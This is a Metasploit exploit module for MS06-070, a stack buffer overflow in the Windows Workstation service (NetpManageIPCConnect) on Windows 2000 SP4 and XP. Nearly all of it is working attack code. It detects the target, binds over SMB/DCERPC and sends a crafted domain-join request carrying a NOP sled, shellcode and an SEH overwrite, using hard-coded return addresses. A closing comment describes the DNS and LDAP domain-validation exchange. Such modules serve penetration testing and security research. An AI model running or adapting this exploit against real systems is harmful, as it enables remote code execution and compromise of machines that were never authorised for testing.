##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # Requires valid/working DOMAIN + DC

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
          function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.

          In order to exploit this vulnerability, you must specify the name of a
          valid Windows DOMAIN. It may be possible to satisfy this condition by using
          a custom DNS and LDAP setup, however that method is not covered here.

          Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator
          credentials are required to reach the vulnerable code. Windows XP SP1 only
          requires valid user credentials. Also, testing shows that a machine already
          joined to a domain is not exploitable.
        },
        'Author' => [
          'jduck'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-4691' ],
          [ 'OSVDB', '30263' ],
          [ 'BID', '20985' ],
          [ 'MSB', 'MS06-070' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic Targetting', {} ],
          [
            'Windows 2000 SP4',
            {
              'Offset' => (1058 * 2),
              'Ret' => 0x75022ac4 # pop/pop/ret in ws2help.dll
            }
          ],
          [
            'Windows XP SP0/SP1',
            {
              'Offset' => (1290 * 2),
              'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2006-11-14',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('SMBPIPE', [ true, "The pipe name to use.", 'WKSSVC']),
        # NOTE: a valid domain name is required. See description.
        OptString.new('DOMAIN', [ true, "The domain to validate prior to joining it."])
      ]
    )

    deregister_options('SMB::ProtocolVersion')
  end

  def exploit
    connect(versions: [1])
    smb_login()

    mytarget = nil
    if (target.name =~ /Automatic/)
      case smb_peer_os()
      when 'Windows 5.0'
        print_status("Detected a Windows 2000 target")
        mytarget = targets[1]
      when 'Windows 5.1'
        begin
          smb_create("\\SRVSVC")
          print_status("Detected a Windows XP SP0/SP1 target")
        rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
          if (e.error_code == 0xc0000022)
            fail_with(Failure::Unknown, "Windows XP SP2 requires Administrator privileges!")
          end
          print_status("Detected a Windows XP target (unknown patch level)")
        end
        mytarget = targets[2]
      else
        fail_with(Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
      end
    else
      mytarget = target
    end

    handle = dcerpc_handle(
      '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
    )

    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    print_status("Building the stub data...")

    distance = mytarget['Offset']
    hostname = make_nops(distance - payload.encoded.length)
    hostname << payload.encoded
    hostname << generate_seh_record(mytarget.ret)
    hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    name = datastore['DOMAIN'] + "\\\\L"
    name = Rex::Text.to_unicode(name)
    name << hostname
    name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3)
    name << "\x00\x00"

    stub =
      NDR.uwstring("\\\\#{datastore['RHOST']}") +
      NDR.UnicodeConformantVaryingStringPreBuilt(name) +
      NDR.uwstring("") +
      NDR.uwstring("") +
      NDR.long(0) +
      NDR.long(1)

    print_status("Calling the vulnerable function...")

    begin
      dcerpc.call(0x16, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    rescue => e
      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
        raise e
      end
    end

    # Cleanup
    handler
    disconnect
  end
end

=begin

The IDL for NetrJoinDomain2 looks like this:
long _NetrJoinDomain2@28 (
  [in][unique][string] wchar_t * arg_1,
  [in][string] wchar_t * arg_2,
  [in][unique][string] wchar_t * arg_3,
  [in][unique][string] wchar_t * arg_4,
  [in][unique] struct_C * arg_5,
  [in] long arg_6
  );


1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN
2. <-- dns server - response including answer and additional record.
                    answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389
              additional: IN.A address of whateverserver.DOMAIN
3. --> ldap server - baseObject query with filter/attributes:
                   - filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00))
             - attributes: AttributeDescriptionList: NetLogon
4. <-- ldap server - searchResDone success, attributes data
                   - PartialAttributeList netlogon - 1 item
               - type 23, flags 0x1fd, domain GUID,
              forest, domain, hostname, netbios domain, netbios hostname,
              user, site, client site, version, lmtoken, nttoken
5. validated.

=end
